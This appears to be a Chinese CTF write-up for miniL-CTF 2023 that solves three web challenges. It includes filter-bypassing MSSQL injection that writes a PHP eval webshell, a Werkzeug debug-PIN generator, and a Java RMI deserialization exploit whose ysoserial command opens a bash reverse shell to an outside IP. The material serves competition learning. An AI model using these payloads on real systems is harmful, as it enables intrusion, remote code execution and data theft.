ezsql

过滤了空格,可以使用空白字符绕过

/**/

%0a %01 %02 %0E %0f

+

这里%0a,+和/**/都不可以,而且只有隐式转化才会出现报错,还过滤了$ % & * ' " < >

image-20230510155006456

'"被过滤,但是;可以用,用十六进制编码绕过

1
id=1;declare%02@s%02varchar(2000)%02set%02@s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29%02exec(@s)

image-20230510160516692

插入文件数据

1
2
3
4
5
6
7
8
9
10
11
12
//创建表格
CREATE TABLE tmp (dir varchar(8000),num int,num1 int);

//列目录
insert into tmp(dir,num,num1) execute master..xp_dirtree '/',1,1
insert into tmp(dir,num,num1) exec xp_dirtree '/',1,1

//从指定路径读文件
insert tmp (dir) select * from OPENROWSET(BULK '/flag',SINGLE_CLOB) as c

//只能读到dbo.users,复制表
insert dbo.users (id,name) select num1,dir from tmp

image-20230510163423213

文件都读到了

image-20230510163953229

差异备份

查一下数据库名

1
2
id=1AND(db_NAME())=1
DB_Name

log备份向同级目录写shell

1
2
3
4
5
6
7
8
9
backup database ctf to disk = '/var/www/html/ctf.php'  //因为是路径只能使用declare声明绕过

1;declare%02@s%02varchar(2000)%02set%02@s=0x6261636b75702064617461626173652063746620746f206469736b203d20272f7661722f7777772f68746d6c2f6374662e70687027%02exec(@s)

id=1;CREATE%02table%02[dbo].[test]%02([cmd]%02[image]);

1;INSERT%02into%02test(cmd)%02values(0x3c3f70687020406576616c28245f504f53545b315d293b3f3e)

1;declare%02@s%02varchar(2000)%02set%02@s=0x6261636b75702064617461626173652063746620746f206469736b3d272f7661722f7777772f68746d6c2f6374662e70687027205749544820444946464552454e5449414c2c464f524d4154%02exec(@s)

这样一般来说应该成功了,访问ctf.php

image-20230510173711126

LOG备份

1
2
3
4
5
1;ALTER%02TABLE%02users%02ADD%02a%02varchar(2000)%02NULL;

1;inSert%02into%02users(id,a,name)%02values%02(12,0x3c3f706870206576616c28245f504f53545b315d293b3f3e,36); //不需要加

1;declare%02@a%02varchar(2000)%02set%02@a=0x6261636b7570206c6f672063746620746f206469736b3d272f7661722f7777772f68746d6c2f6374662e70687027207769746820696e6974%02exec(@a)

访问ctf.php即可

image-20230510180759908

fake_login

image-20230510202420428

报错出源码

image-20230510202405203

1
2
3
4
5
6
7
8
9
10
11
def login():
parser = etree.XMLParser(recover=True)
xml_string = request.data
tree = etree.fromstring(xml_string, parser)#存在XML注入
username = tree.find('username').text
password = tree.find('password').text
if username == 'admin' and password == 'admin':
message = 'Oh! You guessed my username and password, but where is the flag?'
response = make_response('', 200)
response.headers['Content-Type'] = 'application/json'
response.data = jsonify({'message': message}).data

image-20230510210739900

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from flask import Flask, request, render_template, make_response, jsonify
from lxml import etree

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def index():
return render_template('login.html')

@app.route('/login', methods=['POST'])
def login():
parser = etree.XMLParser(recover=True)
xml_string = request.data
tree = etree.fromstring(xml_string, parser)
username = tree.find('username').text
password = tree.find('password').text
if username == 'admin' and password == 'admin':
message = 'Oh! You guessed my username and password, but where is the flag?'
response = make_response('', 200)
response.headers['Content-Type'] = 'application/json'
response.data = jsonify({'message': message}).data
return response
else :
message = username + ' is not exist or password is wrong!'
response = make_response('', 401)
response.headers['Content-Type'] = 'application/json'
response.data = jsonify({'message': message}).data
return response

if __name__ == '__main__':
app.run(host = \"0.0.0.0\", port = 8000 ,debug = True)

读取文件运行脚本得到pin码进入debug即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import hashlib
from itertools import chain

probably_public_bits = [
'minictfer', # /etc/passwd, /etc/shadow验证
'flask.app', # 默认值
'Flask', # 默认值
'/usr/local/lib/python3.9/site-packages/flask/app.py' # 报错得到
]

private_bits = [
'2485378285570', # /sys/class/net/eth0/address 16进制转10进制
# machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
'b083bbda-b548-41e0-bb7c-eec15f2ecfc59c8d9d7064508224b6defddf75e01fcbbc700f1acded2032291ecb0a115b83de' # /proc/sys/kernel/random/boot_id
]

h = hashlib.sha1()

for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]
num = None

if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None

if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join([num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size)])
break
else:
rv = num

print(rv)

minijava

MainController.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package ctf.minil.java.minil.controller;

import ctf.minil.java.minil.bean.User;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;
import org.nibblesec.tools.SerialKiller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class MainController {
public MainController() {
}

@ResponseBody
@RequestMapping({"/"})
public String index() {
return "Welcome to miniL-CTF 2023!";
}

@ResponseBody
@RequestMapping({"/hello"})
public String hello(@RequestParam(name = "data",required = false) String data) {
User user = null;

try {
byte[] userData = Base64.getDecoder().decode(data);
ObjectInputStream objectInputStream = new SerialKiller(new ByteArrayInputStream(userData), "serialkiller.conf");
user = (User)objectInputStream.readObject();
} catch (Exception var5) {
return "unserialize error, no!";
}

return "unserialize done, " + user.getUsername() + " have fun!";
}
}

User.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package ctf.minil.java.minil.bean;

import java.io.ObjectInputStream;
import java.io.Serializable;
import java.rmi.registry.Registry;

public class User implements Serializable {
private String username;
private int age;
private Registry registry;

public User() {
}

public User(String username, int age) {
this.username = username;
this.age = age;
this.registry = null;
}

public String getUsername() {
return this.username;
}

public int getAge() {
return this.age;
}

private Registry getRegistry() {
return this.registry;
}

private void readObject(ObjectInputStream in) throws Exception {
int magic = in.readInt();
if (magic == 114514) {
byte byte1 = in.readByte();
switch (byte1) {
case 1:
in.defaultReadObject();
break;
case 2:
in.defaultReadObject();
String username1 = this.getUsername();
int age1 = this.getAge();
Registry registry1 = this.getRegistry();
if (!username1.equals("L_team")) {
throw new Exception("Invalid username");
}

if (age1 != 18) {
throw new Exception("Invalid age");
}

Hello hello = (Hello)registry1.lookup("hello");
hello.world(this);
break;
default:
throw new Exception("Invalid magic number");
}
}

}
}

导入了commons-collections3.2.1

image-20230511153011244

设置了反序列化类过滤

image-20230511153051376

注意到在User.java调用了lookup函数,registry1可控,可以用RMI反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
private void readObject(ObjectInputStream in) throws Exception {
int magic = in.readInt();
if (magic == 114514) {
byte byte1 = in.readByte();
switch (byte1) {
case 1:
in.defaultReadObject();
break;
case 2:
in.defaultReadObject();
String username1 = this.getUsername();
int age1 = this.getAge();
Registry registry1 = this.getRegistry();
if (!username1.equals("L_team")) {
throw new Exception("Invalid username");
}

if (age1 != 18) {
throw new Exception("Invalid age");
}

Hello hello = (Hello)registry1.lookup("hello");
hello.world(this);
break;
default:
throw new Exception("Invalid magic number");
}
}

}

重写一下User.java中的writeObject来满足readObjectlookup调用条件

1
2
3
4
5
private void writeObject(ObjectOutputStream out) throws Exception {
out.writeInt(114514);
out.writeByte(2);
out.defaultWriteObject();
}

设置registry为部署在vps上的RMI服务器

1
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDUuMTI1LjYxLzY2NiAwPiYx}|{base64,-d}|{bash,-i}"

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package ctf.minil.java.minil.bean;

import ctf.minil.java.minil.bean.User;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class POC {
public static void main(String[] args) throws Exception {
User user = new User("L_team", 18);
Registry registry = LocateRegistry.getRegistry("ip", 1099);
setFieldValue("registry", registry, user);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(user);
byte[] payload= barr.toByteArray();
String encode = java.util.Base64.getEncoder().encodeToString(payload);
System.out.println(encode.toString());
}

public static void setFieldValue(String name, Object value, Object obj) throws Exception{
Field f = obj.getClass().getDeclaredField(name);
f.setAccessible(true);
f.set(obj, value);
}
}

URL编码直接打过去就可以

1
data=rO0ABXNyAB5jdGYubWluaWwuamF2YS5taW5pbC5iZWFuLlVzZXLrrdPxsDBSpQMAA0kAA2FnZUwACHJlZ2lzdHJ5dAAcTGphdmEvcm1pL3JlZ2lzdHJ5L1JlZ2lzdHJ5O0wACHVzZXJuYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7eHB3BQABv1ICAAAAEnNyACJzdW4ucm1pLnJlZ2lzdHJ5LlJlZ2lzdHJ5SW1wbF9TdHViZK173ylMWroCAAB4cgAaamF2YS5ybWkuc2VydmVyLlJlbW90ZVN0dWLp%2FtzJi%2BFlGgIAAHhyABxqYXZhLnJtaS5zZXJ2ZXIuUmVtb3RlT2JqZWN002G0kQxhMx4DAAB4cHc2AApVbmljYXN0UmVmAA0zOS4xMDUuMTI1LjYxAAAESwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAeHQABkxfdGVhbXg%3D